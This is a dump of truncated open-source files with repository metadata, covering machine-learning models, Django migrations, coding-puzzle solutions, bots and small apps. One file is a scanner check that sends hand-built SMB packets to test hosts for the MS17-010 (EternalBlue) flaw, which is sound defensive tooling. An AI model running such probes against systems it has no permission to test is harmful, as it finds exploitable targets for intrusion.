] | permissive | starimpact/mxnet_v1.0.0 | e135cc9e4c2711314d03cf1281a72b755f53144e | fcd6f7398ef811c3f8b01e7c9c16fb25c8d202bd | refs/heads/bv1.0.0 | 2022-11-10T09:09:11.966942 | 2018-07-13T04:59:30 | 2018-07-13T04:59:30 | 120,399,107 | 8 | 4 | Apache-2.0 | 2022-11-02T20:24:32 | 2018-02-06T03:54:35 | C++ | UTF-8 | Python | false | false | 10,983 | py | # pylint: disable=invalid-name
"""Schedule for depthwise_conv2d with auto fusion"""
import tvm
from ..util import get_const_tuple
from .. import tag
from .. import generic
@generic.schedule_depthwise_conv2d_nchw.register(["cuda", "gpu"])
def schedule_depthwise_conv2d_nchw(outs):
"""Schedule for depthwise_conv2d nc... | [
"mingzhang@deepglint.com"
] | mingzhang@deepglint.com |
573790b620a3b8cb9ec092eddbfda02a6faf8160 | 459542a9c644e440690de9f3fdeee26f6e003147 | /mittens/external/__init__.py | 5ac88a0d396963dcbdd3b4cb510793b705fe76df | [
"BSD-2-Clause"
] | permissive | mattcieslak/MITTENS | bb2971157c1b42fdb56e382383330e86eed416ac | 626cc85bbd95a211579494b91a4b3a91917f9f6a | refs/heads/master | 2021-01-18T21:34:38.270094 | 2020-06-11T21:40:26 | 2020-06-11T21:40:26 | 84,369,143 | 9 | 8 | BSD-2-Clause | 2020-06-19T22:01:06 | 2017-03-08T21:45:45 | Fortran | UTF-8 | Python | false | false | 85 | py | from .mrtrix3 import load_mif
from .dsi_studio import load_fib, load_fixels_from_fib
| [
"mattcieslak@gmail.com"
] | mattcieslak@gmail.com |
8791723a0514968b99e0af7e5b642e7d77be8075 | 3361daec508697572d834476043c03bd749343b7 | /modules/core.py | 4755bd508ee79bc95dca8ba2ed1c31aafa355af7 | [
"MIT"
] | permissive | spankders/pyrobud | fc5d4d4267f3b153f511aabd1ff7a7081bba637c | da3ef91cbf81e165aeba4b99202dbcc28e570b48 | refs/heads/master | 2020-07-17T18:53:14.406800 | 2019-07-28T04:48:38 | 2019-07-28T04:49:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,517 | py | import command
import module
import util
class CoreModule(module.Module):
name = "Core"
@command.desc("List the commands")
async def cmd_help(self, msg):
lines = {}
for name, cmd in self.bot.commands.items():
# Don't count aliases as separate commands
if name != c... | [
"danny@kdrag0n.dev"
] | danny@kdrag0n.dev |
40062c54454d5f676e961405a982bd0c37870e81 | 07917881310fc81d85a2cbdf27c9b3c4fa03c694 | /python1812/python_3/day19_登录注册_权限认证_级联/DRFDemo/app3/migrations/0001_initial.py | fbea1c2b4cad30c2faed772638b81f43ba7e6af4 | [] | no_license | zaoyuaner/Learning-materials | 9bc9a127d1c6478fb6cebbb6371b1fd85427c574 | 1f468a6f63158758f7cbfe7b5df17f51e3205f04 | refs/heads/master | 2020-05-18T11:38:45.771271 | 2019-05-20T09:07:44 | 2019-05-20T09:07:44 | 184,384,050 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,143 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2019-03-21 07:37
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.Crea... | [
"13510647877@163.com"
] | 13510647877@163.com |
623b8a06466b1c6a26763f30508357cdcb509004 | 62766deea531d0b89b86a53e6f51b94fd2a88f23 | /AtCoder/ABC/039/d.py | 6a4ccb76a94128c588a5854371d7506f7fae19d3 | [
"MIT"
] | permissive | ttyskg/ProgrammingCompetition | 53620b07317ae5cbd1ee06272e573e3682ac15f3 | 885c5a1be228ae7ba9f00b3d63521c9ff7d21608 | refs/heads/master | 2023-08-18T08:38:33.068168 | 2023-08-15T04:28:13 | 2023-08-15T04:28:13 | 183,425,786 | 0 | 0 | MIT | 2023-08-15T04:28:14 | 2019-04-25T12:02:53 | Python | UTF-8 | Python | false | false | 1,025 | py | import sys
def is_ori(A, a, b):
col = []
for i in range(3):
for j in range(3):
col.append(A[a+i-1][b+j-1])
return all([c == '#' for c in col])
def main():
input = sys.stdin.readline
H, W = map(int, input().split())
A = [0 for _ in range(H+2)]
A[0] = '#' * (W+2)
A... | [
"tatsu100311@gmail.com"
] | tatsu100311@gmail.com |
3ac9535b54424c9071412d1c1587ed6a703e475d | fd828f0a82025eb7efd78ec6bd6ee5557ebf1eda | /FirstApp/migrations/0026_auto_20200722_1738.py | 7270fdd2ae0eebf4def1b55b38117ce8ee994b82 | [] | no_license | Srinivasareddymediboina/GOU-Project | 1e06b4d27f9d79cd7a7075bd9643d21bb483b8b1 | 483948febf81aed18a08dfaa94d44b66f4e2ced7 | refs/heads/master | 2022-11-21T17:14:14.515690 | 2020-07-27T14:41:26 | 2020-07-27T14:41:26 | 281,004,665 | 0 | 0 | null | 2020-07-20T03:47:08 | 2020-07-20T03:35:43 | CSS | UTF-8 | Python | false | false | 1,049 | py | # Generated by Django 3.0.8 on 2020-07-22 12:08
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('FirstApp', '0025_auto_20... | [
"nivas0803@gmail.com"
] | nivas0803@gmail.com |
d64ba4def8d5418c62eb32604987a48f643fa8c6 | 6adc166c33bdada82f7509301e25d1c451852d24 | /auditor/tezt/test_dev_template.py | 5ef9b524f9701565797ba6681ed2529df38bbde1 | [] | no_license | liushiwen555/unified_management_platform_backend | ab0a92f38be7f68bc1d3c4570560ea89bf8fcb07 | ae1ade20044b59de1e29288fcd61ba0b71d92be3 | refs/heads/master | 2023-06-25T22:45:24.669052 | 2021-07-27T01:08:24 | 2021-07-27T01:08:24 | 389,808,950 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 15,463 | py | # import random
# import sys
#
# import faker
# import pytest
# from _pytest.fixtures import fixture
# from django.urls import reverse
# from rest_framework import status
# from rest_framework.permissions import AllowAny
#
# from auditor.models import AuditBlackListStrategy, AuditorBlackList, AuditWhiteListSt... | [
"1599932996@qq.com"
] | 1599932996@qq.com |
5987c601c507efd96510695e2cfe4b661042924e | f591a9e529b67e3cbe5988431121d16acf38c51d | /tests/api/test_hmm.py | 69be8e39bdca36f03a52e98ccfabfd151e981009 | [
"MIT"
] | permissive | vivicoco/virtool | 207ad934b738087391c2b132efd7d333fa967f12 | 7086c0dcfd5d95f94028010692bdc9a8c51e603a | refs/heads/master | 2020-05-24T21:29:11.749663 | 2019-05-14T18:23:11 | 2019-05-14T18:23:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,891 | py | import pytest
from aiohttp.test_utils import make_mocked_coro
async def test_find(mocker, spawn_client, hmm_document):
"""
Check that a request with no URL parameters returns a list of HMM annotation documents.
"""
m = mocker.patch("virtool.db.hmm.get_status", make_mocked_coro({"id": "hmm"}))
cl... | [
"igboyes@gmail.com"
] | igboyes@gmail.com |
fcfbeea0808fd374933b13c9ea8b538af409fa7b | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03854/s299764701.py | 7bb202ca59505e1590f1638901ad4fb490586bea | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 133 | py | #!/usr/bin/env python3
import re
s = input()
s = re.sub(r'erase(r|)',"", s)
s = re.sub(r'dream(er|)',"", s)
print('YNEOS'[s!=""::2])
| [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
fcf15c58586cc2701d98fdb65876d1d088d192cb | aacb3d63a041439a1a05eb4f9a7c1f10d0beeb4a | /cc150/arrays_and_strings/1.2.py | 0b3d5d2ee8045afdb99849d5042b6a70cf9c9f7b | [] | no_license | kongtianyi/cabbird | beb27c9810ae3b5cae78b826a02f561512ca4eba | 742115b659c02b3945977cefd395c854551b0581 | refs/heads/master | 2021-01-21T05:29:08.170993 | 2017-02-26T08:58:44 | 2017-02-26T08:58:44 | 83,193,515 | 2 | 0 | null | 2017-02-26T08:17:29 | 2017-02-26T08:17:29 | null | UTF-8 | Python | false | false | 274 | py | def reverse_cstring(cstring):
res=list(cstring)
left,right=0,len(cstring)-2
while left<right:
res[left],res[right]=res[right],res[left]
left+=1
right-=1
return ''.join(res)
print reverse_cstring('hello$')
print reverse_cstring('$')
| [
"xsank.mz@alibaba-inc.com"
] | xsank.mz@alibaba-inc.com |
db2681ea0a83659b0cb2186f9d87d2f9379aafb4 | 1a74a9ec3e51e7776e5c15e98c66b4cb5a9f8144 | /source/accounts/migrations/0005_auto_20191031_1454.py | 889e9a71e2536ed4b150798494511042cc253ee8 | [] | no_license | Aitmatow/issue_tracker | d66e47a7f633a455e28a1921c5220c60a4c5907f | 96f482be1251d9c557446bc0bfa0e949cc3129d9 | refs/heads/master | 2022-11-26T19:59:12.929073 | 2019-12-09T12:52:13 | 2019-12-09T12:52:13 | 211,033,057 | 0 | 0 | null | 2022-11-22T04:47:23 | 2019-09-26T07:57:27 | Python | UTF-8 | Python | false | false | 560 | py | # Generated by Django 2.2 on 2019-10-31 14:54
from django.db import migrations
def create_profiles(apps, schema_editor):
User = apps.get_model('auth', 'User')
Profile = apps.get_model('accounts', 'Profile')
for user in User.objects.all():
Profile.objects.get_or_create(user=user)
def delete_profil... | [
"aitmarowd@gmail.com"
] | aitmarowd@gmail.com |
c5f63629e3dec0e1f25e327a09b6b50b31ab5469 | 364faf60456d7c4ccab2f70a944008cb9aca884a | /odes/core/feature_extractors/resnetv1_fpn.py | 6216aa7db82bcf8f8df5927e7c2be9f17084b913 | [
"MIT"
] | permissive | yingmuying/Object_detection_estimated_sclales | 83a4b50f0e9b465c9a4418203d01ccba766e4a1b | 857b08f163a69fb26351810e1fc60c15738e145e | refs/heads/master | 2020-05-31T21:41:06.673459 | 2019-03-29T11:05:54 | 2019-03-29T11:05:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,112 | py | import tensorflow as tf
from odes.core.feature_extractors import img_feature_extractor
import tensorflow.contrib.slim as slim
from tensorflow.contrib.slim import arg_scope
from tensorflow.contrib.slim.python.slim.nets import resnet_utils
from tensorflow.contrib.slim.python.slim.nets import resnet_v1
from tensorflow.... | [
"xuesong.li@unsw.edu.au"
] | xuesong.li@unsw.edu.au |
09ea7e86a469054e8690d78c6f18107c892fb115 | 0881fa0aa942f556466cb62f2b3936b1da96e99f | /IPTVplayer/itools/iptvhostgroups.py | cc27ed0ad70cd948e5a72156a8d60fbbd83ce91b | [] | no_license | persianpros/crossplatform_iptvplayer | da12ca83dbef81baff7cb77e3c3070890dcbc4c5 | 89543b9e04ac6aa2bd050355f8b853d6e2aa76f6 | refs/heads/master | 2020-03-31T13:32:19.606428 | 2018-06-27T08:36:37 | 2018-06-27T08:36:37 | 152,259,962 | 2 | 0 | null | 2018-10-09T13:54:11 | 2018-10-09T13:54:11 | null | UTF-8 | Python | false | false | 19,825 | py | # -*- coding: utf-8 -*-
#
###################################################
# LOCAL import
###################################################
from Plugins.Extensions.IPTVPlayer.dToolsSet.iptvplayerinit import TranslateTXT as _
from Plugins.Extensions.IPTVPlayer.dToolsSet.iptvtools import printDBG, printExc, byteify... | [
"zdzislaw22@windowslive.com"
] | zdzislaw22@windowslive.com |
b9ccbc9055c11d5caae3edc1974f264270eb7d51 | e0ede722874d222a789411070f76b50026bbe3d8 | /practice/solution/0210_course_schedule_ii.py | 426894cfe2faf8a030491a82c4b76dbaabceea3d | [] | no_license | kesarb/leetcode-summary-python | cd67456cb57bdff7ee227dab3930aaf9c2a6ad00 | dc45210cb2cc50bfefd8c21c865e6ee2163a022a | refs/heads/master | 2023-05-26T06:07:25.943854 | 2021-06-06T20:02:13 | 2021-06-06T20:02:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,222 | py | import collections
class Solution(object):
def findOrder(self, numCourses, prerequisites):
"""
:type numCourses: int
:type prerequisites: List[List[int]]
:rtype: List[int]
"""
value_graph = collections.defaultdict(list)
degree_value_list = [0] * numC... | [
"weikunhan@g.ucla.edu"
] | weikunhan@g.ucla.edu |
fd17c1756dbfcdc7f8b995273039c9d10f009c90 | 654b2ece53bddd8c059cfe3e0e07d02c7dcfb6dd | /parladata/update_helpers/methods.py | d7624c421a2bd4a3cae1c0fc2e0e739ad7753f03 | [] | no_license | danesjenovdan/parladata | a5bfa85b63f773a60ff393e6377192006da1eb67 | b2a4a5d622b9286f902edea817f4128dfad806fe | refs/heads/dev | 2023-08-16T20:26:26.851218 | 2023-07-07T15:34:48 | 2023-07-07T15:34:48 | 113,332,736 | 1 | 0 | null | 2023-07-11T08:39:57 | 2017-12-06T15:24:26 | Python | UTF-8 | Python | false | false | 635 | py | from django.utils.module_loading import import_string
from django.conf import settings
def get_helper_method(lib, name):
language_code = settings.LEGISLATION_RESOLVER_LANGUAGE_CODE
mathod_path_string = f'parladata.update_helpers.{language_code}.{lib}.{name}'
try:
method = import_string(mathod_path... | [
"tomazkunst@gmail.com"
] | tomazkunst@gmail.com |
5e535733694ca2e1f777f2b81ac9d84b18001e51 | 5ec06dab1409d790496ce082dacb321392b32fe9 | /clients/python/generated/test/test_com_day_cq_rewriter_linkchecker_impl_link_checker_transformer_factory_properties.py | 36428f88427de773fd7ca2ccffbbf629526b0d35 | [
"Apache-2.0"
] | permissive | shinesolutions/swagger-aem-osgi | e9d2385f44bee70e5bbdc0d577e99a9f2525266f | c2f6e076971d2592c1cbd3f70695c679e807396b | refs/heads/master | 2022-10-29T13:07:40.422092 | 2021-04-09T07:46:03 | 2021-04-09T07:46:03 | 190,217,155 | 3 | 3 | Apache-2.0 | 2022-10-05T03:26:20 | 2019-06-04T14:23:28 | null | UTF-8 | Python | false | false | 1,469 | py | # coding: utf-8
"""
Adobe Experience Manager OSGI config (AEM) API
Swagger AEM OSGI is an OpenAPI specification for Adobe Experience Manager (AEM) OSGI Configurations API # noqa: E501
The version of the OpenAPI document: 1.0.0
Contact: opensource@shinesolutions.com
Generated by: https://openapi-... | [
"michael.bloch@shinesolutions.com"
] | michael.bloch@shinesolutions.com |
9077b1f5eafc165de39721cb5b95973b545d28eb | 90f52d0348aa0f82dc1f9013faeb7041c8f04cf8 | /wxPython3.0 Docs and Demos/demo/MiniFrame.py | 560ba2625ed39a2c9ed6e450e78ded3aa00551b4 | [] | no_license | resource-jason-org/python-wxPythonTool | 93a25ad93c768ca8b69ba783543cddf7deaf396b | fab6ec3155e6c1ae08ea30a23310006a32d08c36 | refs/heads/master | 2021-06-15T10:58:35.924543 | 2017-04-14T03:39:27 | 2017-04-14T03:39:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,946 | py |
import wx
#---------------------------------------------------------------------------
class MyMiniFrame(wx.MiniFrame):
def __init__(
self, parent, title, pos=wx.DefaultPosition, size=wx.DefaultSize,
style=wx.DEFAULT_FRAME_STYLE
):
wx.MiniFrame.__init__(self, parent, -... | [
"869999860@qq.com"
] | 869999860@qq.com |
144e0c1e7913fa3c960cdd10e95a7b66426f37b5 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03307/s584853704.py | 15bba61c0bfa1eb62c5f75712f88f979d84fb1c3 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 52 | py | N=input()
if N%2==0:
print N
else:
print N*2 | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
797cb5ad82aca5986caf6b955cd081bf6132c91f | 6896fce8ee082f9730c056436e49ef0d16a6ea03 | /spider/interface/land_info.py | 23cb4bfea83d4fe6beedb08cedcbed73a97b4eaf | [] | no_license | Sugeei/python-practice | 5022ae7c34bc04972edebc15936248cb9869ec54 | 048df40500a059e4380f3ecc2581de96c9a1fc9b | refs/heads/master | 2022-12-07T06:34:40.740379 | 2022-11-13T11:48:29 | 2022-11-13T11:48:29 | 121,074,877 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 680 | py | import pandas as pd
import os
# from config.base import listedcompanies
from config.logger import logger
from interface.base import Base
from category.landinfo import CategoryLandInfo
class InterFaceLandInfo(Base):
"""
interface connect task and response.
as there may have more than one way to get target ... | [
"215626824@qq.com"
] | 215626824@qq.com |
284417308c0a3dbcdc841e3f176cd7d8089c47b6 | 733f7283f27e179f38960a2461f6ac21d9af04e8 | /test/production/LowPU/step3_RAW2DIGI_L1Reco_RECO_EI_PAT_VALIDATION_DQM_PU.py | 944076fcac1878d3b90f4f46f4e886f76a887018 | [] | no_license | vdeltatto/EcalTP | 8f1bfa525049e94fbcd5456b36049e998ed53985 | 5318c34510fb676fc90172bbf7043293f6c9af29 | refs/heads/master | 2021-09-25T04:31:59.020209 | 2018-10-18T09:45:46 | 2018-10-18T09:45:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,281 | py | # Auto generated configuration file
# using:
# Revision: 1.19
# Source: /local/reps/CMSSW/CMSSW/Configuration/Applications/python/ConfigBuilder.py,v
# with command line options: step3 --conditions 92X_upgrade2017_realistic_Candidate_forECALStudies --pileup_input das:/RelValMinBias_13/CMSSW_9_2_3-92X_upgrade2017_real... | [
"massironi.andrea@gmail.com"
] | massironi.andrea@gmail.com |
9e9608896cb3a3d64ba32759ce15f9fe66c2b3e2 | 118984fdbacf5eb71159eb511ccd055987498886 | /CH11/EX11.21.py | 04d826ee9d9d80968edfac25007e9eb373450b26 | [] | no_license | 6igsm0ke/Introduction-to-Programming-Using-Python-Liang-1st-edtion | 321c6256be6ff78adbc8e3ddc73f2f43a51a75ab | 159489f3af296f87469ddddf3a1cb232917506b0 | refs/heads/master | 2023-06-05T20:03:17.951911 | 2021-06-18T18:04:42 | 2021-06-18T18:04:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,716 | py | # 11.21 (Game: multiple Sudoku solutions) The complete solution for the Sudoku
# problem is given in Supplement III.A. A Sudoku problem may have multiple
# solutions. Modify Sudoku.py in Supplement III.A to display the total number
# of the solutions. Display two solutions if multiple solutions exist.
"""This not the s... | [
"47993441+OmarAlmighty@users.noreply.github.com"
] | 47993441+OmarAlmighty@users.noreply.github.com |
b404c996dc1c56b03b32c4ef4d130e7e4bbb83ab | 4cd0631100e099e9b154b12b234715ddee0711d3 | /model/FastSCNNX17.py | 232b578689cb10894c3d4eebe0af14cee0a3a803 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | Ethan-ye/Efficient-Segmentation-Networks | d6dd029c76cb46b89ac00ee2f6a49d9ddcd99a3a | 27272e43126a507a6d93b21cd2372f5432f61237 | refs/heads/master | 2023-04-22T11:10:23.256349 | 2021-05-07T05:04:40 | 2021-05-07T05:12:38 | 281,823,847 | 0 | 0 | MIT | 2020-07-23T01:50:42 | 2020-07-23T01:50:41 | null | UTF-8 | Python | false | false | 49,926 | py | ##################################################################################
# Fast-SCNN: Fast Semantic Segmentation Network
# Paper-Link: https://arxiv.org/pdf/1902.04502.pdf
##################################################################################
import torch
import torch.nn as nn
import tor... | [
"ye_b@hotmail.com"
] | ye_b@hotmail.com |
72ed25297c019be3ad213d11a07e2b029d0ef8c0 | a2fc262d906004914b340afe1a4bbec28e1a7a52 | /scripts/needs_update/full_chain/eps_scan.py | fea1264a58ab63c1c62d2a8879bcc66ba48d8f40 | [] | no_license | watsonjj/targetpipe | 927aeede44548043fd9d6106b6089219e3f024cd | 7238646f0793f9d9b0544be6723152d540b061a3 | refs/heads/master | 2020-04-18T02:34:22.530251 | 2019-01-23T14:42:44 | 2019-01-23T14:42:44 | 60,016,031 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,280 | py | import numpy as np
import matplotlib.pyplot as plt
from matplotlib.patches import Ellipse
import math
hillas_parameters = np.loadtxt('hillas_parameters_test.dat',delimiter=',', unpack=True)
cenx = []
ceny = []
width = []
length = []
psi = []
for i in range(len(hillas_parameters[0])):
if math.isnan(hillas_paramete... | [
"jason.jw@live.co.uk"
] | jason.jw@live.co.uk |
cedf6eb34b3812a24b71edc55f04200845925232 | 98364abec1f798ed6352a1c0eda080371aacb28d | /Contest/Interview/Tencent/20210404_1.py | 179ca89c2ad8f18f0a8df3f222268606ea6ffc9e | [] | no_license | GuoYunZheSE/Leetcode | 3d1b11d142734922acecf7ba5efbaf0f2ab26d81 | 45cabf05251711c6421c8c2ddbcc3fec9222f70a | refs/heads/master | 2022-05-01T05:03:20.694729 | 2022-04-27T04:10:33 | 2022-04-27T04:10:33 | 161,486,806 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 922 | py | # @Date : 19:53 04/04/2021
# @Author : ClassicalPi
# @FileName: 20210404_1.py
# @Software: PyCharm
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
#
# 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
# 你需要返回一个指针,指向root,表示删减去若干个点后,剩下的树
# @param root TreeNode类 ... | [
"guoyunzhe.se@gmail.com"
] | guoyunzhe.se@gmail.com |
bafed0e26d3d439011e6be92f2da26dfbc72f640 | 6e3aff5ce1374d73c1aa470dde4b4ff543d505e7 | /code-20190223/python/brainfuck_interpreter/brainfuck.py | b76d99e49facdd41e40d05333ebe033a0cc9e5e9 | [] | no_license | cleiveliu/code-archive | f2a0104ee6ed3b09b5d20cfcc33a7c652c20bb03 | 994e826fa2a42849c4b25eee5e9b04eedaae99d0 | refs/heads/master | 2020-08-23T05:46:37.216791 | 2020-06-24T13:42:43 | 2020-06-24T13:42:43 | 216,556,521 | 0 | 0 | null | 2020-06-24T13:42:45 | 2019-10-21T11:56:50 | Jupyter Notebook | UTF-8 | Python | false | false | 1,928 | py | #!/usr/bin/python
#
# Brainfuck Interpreter
# Copyright 2011 Sebastian Kaspari
#
# Usage: ./brainfuck.py [FILE]
# source:https://github.com/pocmo/Python-Brainfuck/
import sys
import getch
def execute(filename):
f = open(filename, "r")
evaluate(f.read())
f.close()
def evaluate(code):
code = cleanup(... | [
"cleiveliu1@gmail.com"
] | cleiveliu1@gmail.com |
f93016cd68c26a16b07a390bf524f99f0903b2a2 | 2b5bc2cf49ce340028305ea93e92b7475622a811 | /myProject/settings.py | e5c16d28558823dd16ceaf119f639097a6aa33d9 | [] | no_license | alxayeed/todo-App | 6856c1c6dcb8dcdc77af960dedaea8db5b80517c | b89dad14d19a61c2b2fcbe578788c3c117b73350 | refs/heads/master | 2020-07-22T15:54:21.956905 | 2019-09-09T07:37:24 | 2019-09-09T07:37:24 | 207,252,233 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,109 | py | """
Django settings for myProject project.
Generated by 'django-admin startproject' using Django 2.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
... | [
"alxayeed@gmail.com"
] | alxayeed@gmail.com |
83856c99bbfc38d1141d26d201cec1808edeb4bc | 330c83f003c86c8b79c750c7d2c221847f3053d2 | /lastfm_scraper/lastfm_scraper.py | 1c69b774a24d4e97510d823ff917cd0f9697e322 | [] | no_license | dbeley/django-lastfm | e6dd4504c665858a24654444e35045394fa495eb | 9f9de08f230a607c4b42d71316073da2ea91bec2 | refs/heads/master | 2022-09-05T09:57:52.335074 | 2022-01-14T13:54:52 | 2022-01-14T13:54:52 | 247,359,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,344 | py | # -*- coding: utf-8 -*-
import os
import configparser
import pylast
import json
def lastfmconnect(): # pragma: no cover
try:
config = configparser.ConfigParser()
config.read("config_lastfm.ini")
api_key = config["lastfm"]["api_key"]
api_secret = config["lastfm"]["api_secret"]
... | [
"6568955+dbeley@users.noreply.github.com"
] | 6568955+dbeley@users.noreply.github.com |
dee564f69083b7aa824d6cce1ffb9b8302988991 | c36679186f669c6e3bd1c106c96d4a17be1f5ab1 | /University/Project Related/33_match_test.py | 3afe00af359820d6be399bc11a8c8f591c94f2db | [] | no_license | touhiduzzaman-tuhin/python-code-university-life | 60a3d671b200a6f5222c6d176c13c5f20f013509 | 6d2e3d90d430faa5c83fe79e7fb1ebe516994762 | refs/heads/master | 2023-03-22T15:18:10.636203 | 2021-03-06T18:52:04 | 2021-03-06T18:52:04 | 332,467,190 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 602 | py | import cv2
face_cascade = cv2.CascadeClassifier("F:\Final Project\Code\Cascade\haarcascade_frontalface_default.xml")
img1 = cv2.imread("F:\Final Project\Images\\group.jpg")
img = cv2.resize(img1, (1200, 800))
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(img, scaleFactor=... | [
"touhiduzzamantuhin95@gmail.com"
] | touhiduzzamantuhin95@gmail.com |
7b476b79c2d28e256456a57b4a35584f6dcadb28 | f7e5a206c5ca75043b662c8f9905a070b7e37060 | /blogs/test_forms.py | 7d15f38c8dc6db4a5ca9d53ff07f9588c5ba16f0 | [] | no_license | sweetmentor/Str4-eCommerce-App | 4d22945f7b5dc0a40b577b8ed45caf22c9e644d4 | e50edff9183a207c8e7daff16136059fcb5f9002 | refs/heads/master | 2020-03-22T00:26:36.973580 | 2019-01-29T01:13:56 | 2019-01-29T01:13:56 | 139,244,613 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 356 | py | from django.test import TestCase
from .forms import BlogPostForm
from .models import Post
# Create your tests here.
class TestBlogPostForms(TestCase):
def test_blog_content(self):
form = BlogPostForm({'Title':'Title'})
self.assertFalse(form.is_valid())
print(form.errors['cont... | [
"stephenafolabi@gmail.com"
] | stephenafolabi@gmail.com |
e79059ed7a95812b07f681077da74115eddc654a | ad6ad38511b214d1d6cc183535d0d4ff463eadf9 | /vulscan_Project/modules/ms17_010_poc.py | 76f38ffaf55eda11ad4bcb622b68c940f2f39cbf | [] | no_license | 0ps/VulScanner | abf8417f00dec8f7485246fc208a157d96207180 | de2519655c214ebfbe56c0278e6230afaae72559 | refs/heads/master | 2023-08-30T18:05:44.620650 | 2021-10-22T07:25:18 | 2021-10-22T07:25:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,443 | py | # -*- coding:utf-8 -*-
# MS17_010
from .. import requestUtil
from ServiceScanModel.models import ServiceScan
def ms17_010_check(ip):
import binascii, socket
negotiate_protocol_request = binascii.unhexlify(
"00000054ff534d42720000000018012800000000000000000000000000002f4b0000c55e003100024c414e4d414e31... | [
"2998430232@qq.com"
] | 2998430232@qq.com |
319ad4ae09dd185ad1d73b02b1be41287987b09b | cfc9bb332f6c18c52f941aa4919e80a736b33453 | /code/set_2_linkedlist/328_odd_even_linked_list.py | 37e751e7c272762f609af226fa3fcd1a56f2a2de | [] | no_license | JagritiG/interview-questions-answers-python | 8992c64b754d81c76f4d2d29f92fbd9abe522a15 | 411536a94d4a2f9a64e4f06a41dc8aef4111e80f | refs/heads/master | 2022-11-23T21:38:53.986360 | 2020-08-02T22:17:13 | 2020-08-02T22:17:13 | 267,738,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,808 | py | # Odd Even Linked List
# Given a singly linked list, group all odd nodes together followed by the even nodes.
# Please note here we are talking about the node number and not the value in the nodes.
# You should try to do it in place. The program should run in O(1) space complexity and O(nodes) time complexity.
# Examp... | [
"jagritigoswami84@gmail.com"
] | jagritigoswami84@gmail.com |
4767feada5ada5ec5b0c7263a226e4a3613fb216 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5738606668808192_1/Python/aeremin/PythonApplication1.py | 79244fa9e97b5cbefc848c497fc50f6409070cb0 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | from numpy import base_repr
import math
def run_test():
inp = input().split(' ')
n = int(inp[0])
j = int(inp[1])
for a in range(j):
halfBinary = 2 ** (int(n / 2) - 1) + 2 * a + 1
halfBinaryStr = base_repr(halfBinary, 2)
astr = 2 * halfBinaryStr
for i in range(2, 11):
astr = astr + " " + str(... | [
"alexandra1.back@gmail.com"
] | alexandra1.back@gmail.com |
96a96447f3b4e55bd020a66e214f34022eafc47a | a09751808b199b04e1cd5daabf5c49e544dc5d12 | /Section4/code/app.py | 0708f96e7a10b9953103d343aade417fc923bd74 | [] | no_license | mcclayac/RestWithFlask | b702636667f4c0861d465126684cc540b0315149 | 8d772eeb4446933c68433e666a750a0c803e507f | refs/heads/master | 2021-01-15T22:18:45.187777 | 2017-12-24T12:27:55 | 2017-12-24T12:27:55 | 99,894,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,762 | py | __author__ = 'anthonymcclay'
__project__ = 'RestWithFlask'
__date__ = '8/12/17'
__revision__ = '$'
__revision_date__ = '$'
from flask import Flask, request
from flask_restful import Resource, Api, reqparse
from flask_jwt import JWT, jwt_required
from Section4.code.security import authenticate, identity
app = Flask(... | [
"anthony.mcclay@nielsen.com"
